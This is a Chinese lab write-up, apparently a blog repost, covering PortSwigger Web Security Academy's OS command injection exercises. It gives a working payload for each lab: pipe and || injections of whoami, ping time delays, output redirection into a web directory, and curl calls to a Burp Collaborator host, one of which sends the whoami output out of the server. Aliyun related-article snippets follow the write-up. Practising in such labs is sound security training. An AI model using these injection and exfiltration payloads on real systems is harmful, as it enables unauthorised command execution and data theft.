BurpSuite靶场系列之OS命令注入

简介: BurpSuite靶场系列之OS命令注入

Portswigger web security academy:OS command injection

环境

本次推荐的模拟环境如下:https://portswigger.net/web-security

邮箱注册登录

https://portswigger.net/web-security/all-labs

找到OS command injection

OS command injection, simple case

点一个产品进行浏览进行抓包

storeId=1|whoami

Blind OS command injection with time delays

email=真实邮箱||ping±c+10+127.0.0.1||

email=dzs12237%40yuoia.com||ping±c+10+127.0.0.1||

Blind OS command injection with output redirection

https://0a64000404d1dde5c11999cc008e00f7.web-security-academy.net/image?filename=output.txt

email=dzs12237%40yuoia.com||whoami>/var/www/images/outpu.txt||

Blind OS command injection with out-of-band interaction

在feedback功能点存在命令注入(盲注)
输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
要求执行一个DNS lookup,(利用 collaborator)

反馈你提交,抓包邮箱处构造

直接构造payload

||curl%20xxx.burpcollaborator.net||即可

burp Collaborator 使用:

有的自带无需安装

较低版本的burp 的 extender 下的 bapp store 找到 Collaborator 安装即可。安装后,首先需要设置下我们使用的服务器是官方默认提供的,在 project options-misc-burp collaborator server 下,选择第一个默认官方服务即可,第二个是关闭 collaborator,第三个是使用自己的服务器。如下图。

点击 Run health check 可以测试外带服务器服务是否正常

csrf=gtMV2Hk0lrSVfIw2gPwBfCqKIqsdzcsW&name=11&email=bxn55019%40yuoia.com||curl b9l.burpcollaborator.net||&subject=11&message=11

Blind OS command injection with out-of-band data exfiltration

在feedback功能点存在命令注入(盲注)
输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
要求通过外带获得当前用户名

email=333432%40qq.com||a=whoami;curl%20xlmor0wswc5r80n4ol6zncqio9u3is.burpcollaborator.net/`$a`||

相关文章
|
8月前
|
弹性计算 人工智能 运维
摆脱繁琐命令-让运维更加流畅-阿里云ECS操作系统控制台运维篇
阿里云操作系统控制台提供了便捷的服务器监控与管理功能,简化了运维工作。通过将多台服务器纳入统一监控平台,用户可以快速查看CPU、内存、磁盘和网络等关键资源的使用情况,避免了逐一远程连接查询的繁琐操作。此外,该工具支持自动化数据汇总,极大地方便了日报、周报和月报的编写。测试过程中,系统展示了良好的稳定性和响应速度,尤其在网络抖动和大文件健康状态测试中表现出色。整体体验流畅,显著提升了运维效率。 操作系统控制台地址:[点击访问](https://alinux.console.aliyun.com/)
303 26
摆脱繁琐命令-让运维更加流畅-阿里云ECS操作系统控制台运维篇
|
10月前
|
弹性计算 前端开发 Ubuntu
OS Copilot全命令测评报告
作为一名Web前端工程师,我使用OS Copilot的`-t`、`-f`和`|`功能进行了测试。通过创建ECS实例并安装OS Copilot,我顺利完成了以下任务: 1. 环境搭建:使用`-t`参数获取了详细的静态页面发布步骤,解决了环境配置问题 2. 多步操作:借助`-f`参数自动化安装和配置httpd服务器,简化了多步骤操作 3. 文件分析:利用`|`功能分析HTML文件内容,确认是否符合预期 整个过程顺畅无阻,特别是`-t`和`-f`功能极大提高了工作效率。建议将这些功能设为默认自带,以减少安装步骤。总结来说,OS Copilot在处理复杂任务时表现出色,提供了详尽的操作指引和自动化支持
126 8
|
Shell Linux C语言
Linux初学者必备:全面掌握核心命令
Linux命令是操作系统的核心组成部分,用于管理和操作文件系统、网络、硬件资源以及执行各种任务。下面列出了一些常用的Linux命令及其基本用途,
309 1
Linux初学者必备:全面掌握核心命令
|
Linux 编译器 C语言
./build.sh:行1: g++: 未找到命令的错误问题在centos操作系统下面如何解决
通过上述步骤,您应该能够有效地解决CentOS系统中 `g++: 未找到命令`的错误。确保软件开发环境配置得当,对于顺利执行编译脚本和日常开发工作至关重要。如果问题依然存在,考虑检查脚本内的命令路径引用是否正确,或进一步排查系统配置问题。
571 0
|
存储 Java iOS开发
MacOS环境-手写操作系统-43-dir命令的实现 和 文件写入
MacOS环境-手写操作系统-43-dir命令的实现 和 文件写入
146 0
|
运维 安全 Unix
Linux操作系统 , 常用命令
Linux操作系统 , 常用命令
Linux02---命令基础 Linux命令基础, ls命令入门,ls命令参数和选项,命令行是一种以纯字符操作系统的方式,command命令本身,options命令的细节行为,parameter命令的
Linux02---命令基础 Linux命令基础, ls命令入门,ls命令参数和选项,命令行是一种以纯字符操作系统的方式,command命令本身,options命令的细节行为,parameter命令的
|
Linux Shell 程序员
【Linux操作系统】命令的运行原理
【Linux操作系统】命令的运行原理
157 0
|
存储 Shell Linux
【Shell 命令集合 网络通讯 】⭐Linux 显示当前系统的主机名和操作系统类型 uuname命令 使用教程
【Shell 命令集合 网络通讯 】⭐Linux 显示当前系统的主机名和操作系统类型 uuname命令 使用教程
277 0
|
监控 算法 Linux
Linux 操作系统常用命令与操作指南
本文将为大家介绍Linux操作系统中的常用命令和操作。这些命令对于初学者和Linux用户都非常重要,掌握它们将大大提高在Linux环境下的工作效率。
233 0

热门文章

最新文章

推荐镜像

更多